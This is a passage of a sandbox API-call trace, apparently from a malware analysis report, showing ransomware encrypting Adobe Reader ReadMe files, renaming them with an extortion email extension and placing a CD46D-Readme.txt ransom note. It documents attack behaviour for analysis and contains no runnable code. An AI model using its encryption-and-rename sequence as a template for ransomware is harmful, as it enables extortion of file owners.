out: lpBuffer=0x5fafb90*, lpNumberOfBytesRead=0x5fafb8c*=0x4, lpOverlapped=0x0) returned 1 [0057.930] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412f8 [0057.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417d0 [0057.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441820 [0057.930] NtQuerySystemTime (in: CurrentTime=0x5fafb6c | out: CurrentTime=0x5fafb6c*=132174898219152000) returned 0x0 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x30a8ca3a [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x6d040451 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x65fd9060 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x6f4bee11 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0xb70ad80 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x38cdf78d [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x101d0e00 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x64ad52ff [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x747b8793 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x1c7262ac [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0xbcb49de [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x4821ce91 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x676c0860 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x2fc1ee77 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x1032de7e [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x60f72777 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x3623f49d [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x7f0de186 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x1ff1bac0 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x6d498111 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x2f59ace2 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x659155c3 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x7374e4e8 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x2c155a54 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x7a9fab8 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0xbff7c92 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x29f0c802 [0057.930] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x64c5bc24 [0057.931] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x61c7e763 [0057.931] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x667fa5d5 [0057.931] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x1773dfdd [0057.931] RtlRandomEx (in: Seed=0x5fafb78 | out: Seed=0x5fafb78) returned 0x2a95c827 [0057.941] ReadFile (in: hFile=0x2a4, lpBuffer=0x5eab8a0, nNumberOfBytesToRead=0x4623, lpNumberOfBytesRead=0x5fafb68, lpOverlapped=0x0 | out: lpBuffer=0x5eab8a0*, lpNumberOfBytesRead=0x5fafb68*=0x4623, lpOverlapped=0x0) returned 1 [0057.943] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.943] WriteFile (in: hFile=0x2a4, lpBuffer=0x5e79880*, nNumberOfBytesToWrite=0x4623, lpNumberOfBytesWritten=0x5fafb64, lpOverlapped=0x0 | out: lpBuffer=0x5e79880*, lpNumberOfBytesWritten=0x5fafb64*=0x4623, lpOverlapped=0x0) returned 1 [0059.240] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419b40 [0059.240] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419d98 [0059.241] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419d98) returned 1 [0059.241] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e79880) returned 1 [0059.241] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eab8a0) returned 1 [0059.241] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b8e8) returned 1 [0059.241] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0059.241] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97cecc0 [0059.241] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.241] WriteFile (in: hFile=0x2a4, lpBuffer=0x12d7c738*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x5fafbcc, lpOverlapped=0x0 | out: lpBuffer=0x12d7c738*, lpNumberOfBytesWritten=0x5fafbcc*=0x10b, lpOverlapped=0x0) returned 1 [0061.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c738) returned 1 [0061.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecf0) returned 1 [0061.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419d98) returned 1 [0061.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecc0) returned 1 [0061.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419b40) returned 1 [0061.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417d0) returned 1 [0061.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441848) returned 1 [0061.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441690) returned 1 [0061.601] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02120 [0061.601] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0061.601] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm.mailto[2Hamlampampom@cock.li].cd46d" [0061.601] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5fafb84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.601] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40db20 [0061.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40db20) returned 1 [0061.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.605] NtQueryInformationFile (in: FileHandle=0x2a4, IoStatusBlock=0x5fafb90, FileInformation=0x5fafb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x5fafb90, FileInformation=0x5fafb68) returned 0x0 [0061.605] NtSetInformationFile (FileHandle=0x2a4, IoStatusBlock=0x5fafb90, FileInformation=0x5fafb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0061.606] FlushFileBuffers (hFile=0x2a4) returned 1 [0062.202] CloseHandle (hObject=0x2a4) returned 1 [0062.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08f18 [0062.702] wcscpy (in: _Dest=0x12e08f18, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.702] wcscat (in: _Dest=0x12e08f18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.702] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.431] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08f18) returned 1 [0063.431] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45c38) returned 1 Thread: id = 379 os_tid = 0xcd0 [0048.671] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm")) returned 0x20 [0055.526] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm", dwFileAttributes=0x20) returned 1 [0058.771] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1104 [0058.771] GetFileSizeEx (in: hFile=0x1104, lpFileSize=0x6d2f86c | out: lpFileSize=0x6d2f86c*=17066) returned 1 [0058.771] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x42a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.771] ReadFile (in: hFile=0x1104, lpBuffer=0x6d2f7f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6d2f7ec, lpOverlapped=0x0 | out: lpBuffer=0x6d2f7f0*, lpNumberOfBytesRead=0x6d2f7ec*=0x4, lpOverlapped=0x0) returned 1 [0058.773] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95d0 [0058.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0058.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95f8 [0058.773] NtQuerySystemTime (in: CurrentTime=0x6d2f7cc | out: CurrentTime=0x6d2f7cc*=132174898227576000) returned 0x0 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x39ed0969 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x7de0cda4 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x6b0b86c8 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x8f3c033 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x6cc07bf7 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x31d73eef [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x4da541fa [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x4531fc93 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x3a656fe7 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x6d555659 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x56b9c1e6 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x55461ff9 [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x512f2d1f [0058.773] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x45801c1c [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x14125ef4 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x7c287834 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x44a726ee [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x4c20edc2 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x8c2aac6 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x58446387 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x106dfa75 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x1d7d72d2 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x3aca1128 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x5d4be893 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x580a4a6 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x2d18c46d [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x676c246f [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x41ef1fde [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x118d5cd2 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x66f05d8b [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x7dd51116 [0058.774] RtlRandomEx (in: Seed=0x6d2f7d8 | out: Seed=0x6d2f7d8) returned 0x39ab3588 [0058.786] ReadFile (in: hFile=0x1104, lpBuffer=0x19621920, nNumberOfBytesToRead=0x42aa, lpNumberOfBytesRead=0x6d2f7c8, lpOverlapped=0x0 | out: lpBuffer=0x19621920*, lpNumberOfBytesRead=0x6d2f7c8*=0x42aa, lpOverlapped=0x0) returned 1 [0058.787] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.787] WriteFile (in: hFile=0x1104, lpBuffer=0x1962e128*, nNumberOfBytesToWrite=0x42aa, lpNumberOfBytesWritten=0x6d2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x1962e128*, lpNumberOfBytesWritten=0x6d2f7c4*=0x42aa, lpOverlapped=0x0) returned 1 [0061.315] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9660 [0061.315] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9688 [0061.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9688) returned 1 [0061.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1962e128) returned 1 [0061.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19621920) returned 1 [0061.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0061.315] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0061.315] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x4e00f0 [0061.315] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.315] WriteFile (in: hFile=0x1104, lpBuffer=0x12d7cdc8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x6d2f82c, lpOverlapped=0x0 | out: lpBuffer=0x12d7cdc8*, lpNumberOfBytesWritten=0x6d2f82c*=0x10b, lpOverlapped=0x0) returned 1 [0062.801] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7cdc8) returned 1 [0062.802] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0120) returned 1 [0062.802] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9688) returned 1 [0062.802] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e00f0) returned 1 [0062.802] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9660) returned 1 [0062.802] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9760) returned 1 [0062.802] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9558) returned 1 [0062.802] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95a8) returned 1 [0062.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02960 [0062.802] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0062.802] wcscat (in: _Dest=0x5e02960, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm.mailto[2Hamlampampom@cock.li].cd46d" [0062.802] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6d2f7e4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d460 [0063.068] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.068] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0063.068] NtQueryInformationFile (in: FileHandle=0x1104, IoStatusBlock=0x6d2f7f0, FileInformation=0x6d2f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x6d2f7f0, FileInformation=0x6d2f7c8) returned 0x0 [0063.068] NtSetInformationFile (FileHandle=0x1104, IoStatusBlock=0x6d2f7f0, FileInformation=0x6d2f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.069] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02960) returned 1 [0063.069] FlushFileBuffers (hFile=0x1104) returned 1 [0066.209] CloseHandle (hObject=0x1104) Thread: id = 380 os_tid = 0xcd4 [0048.673] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm")) returned 0x20 [0055.525] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm", dwFileAttributes=0x20) returned 1 [0058.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8f0 [0058.754] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x8e1fdf4 | out: lpFileSize=0x8e1fdf4*=17012) returned 1 [0058.755] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x4270, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.755] ReadFile (in: hFile=0x8f0, lpBuffer=0x8e1fd78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8e1fd74, lpOverlapped=0x0 | out: lpBuffer=0x8e1fd78*, lpNumberOfBytesRead=0x8e1fd74*=0x4, lpOverlapped=0x0) returned 1 [0058.756] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95d0 [0058.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9620 [0058.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0058.756] NtQuerySystemTime (in: CurrentTime=0x8e1fd54 | out: CurrentTime=0x8e1fd54*=132174898227420000) returned 0x0 [0058.756] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x4469031e [0058.756] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x235b7272 [0058.756] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x4329d8af [0058.756] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x4d7e91ab [0058.756] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x2558d161 [0058.756] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x3fca9147 [0058.756] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x230ee716 [0058.756] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0xfa586c2 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x38865f22 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x13589e62 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0xf64222 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x26e3f861 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x4e74f02b [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x428b646f [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x513ef61e [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x68410a01 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x10b09cda [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x665c861d [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x1430612c [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x5edc7c2c [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x131167ed [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x440f78fd [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x5c2f1794 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x20fed046 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x3046daad [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x3cc82a21 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x1a65cbf [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x7cb40912 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x26318a2a [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x2e1c96f9 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x41c0ee85 [0058.757] RtlRandomEx (in: Seed=0x8e1fd60 | out: Seed=0x8e1fd60) returned 0x6a0ed888 [0058.768] ReadFile (in: hFile=0x8f0, lpBuffer=0x194e9058, nNumberOfBytesToRead=0x4274, lpNumberOfBytesRead=0x8e1fd50, lpOverlapped=0x0 | out: lpBuffer=0x194e9058*, lpNumberOfBytesRead=0x8e1fd50*=0x4274, lpOverlapped=0x0) returned 1 [0058.769] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.770] WriteFile (in: hFile=0x8f0, lpBuffer=0x194f5860*, nNumberOfBytesToWrite=0x4274, lpNumberOfBytesWritten=0x8e1fd4c, lpOverlapped=0x0 | out: lpBuffer=0x194f5860*, lpNumberOfBytesWritten=0x8e1fd4c*=0x4274, lpOverlapped=0x0) returned 1 [0061.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9610 [0061.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9638 [0061.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9638) returned 1 [0061.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194f5860) returned 1 [0061.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194e9058) returned 1 [0061.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0061.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c000) returned 1 [0061.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x4e0090 [0061.314] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.314] WriteFile (in: hFile=0x8f0, lpBuffer=0x12d7ccb0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x8e1fdb4, lpOverlapped=0x0 | out: 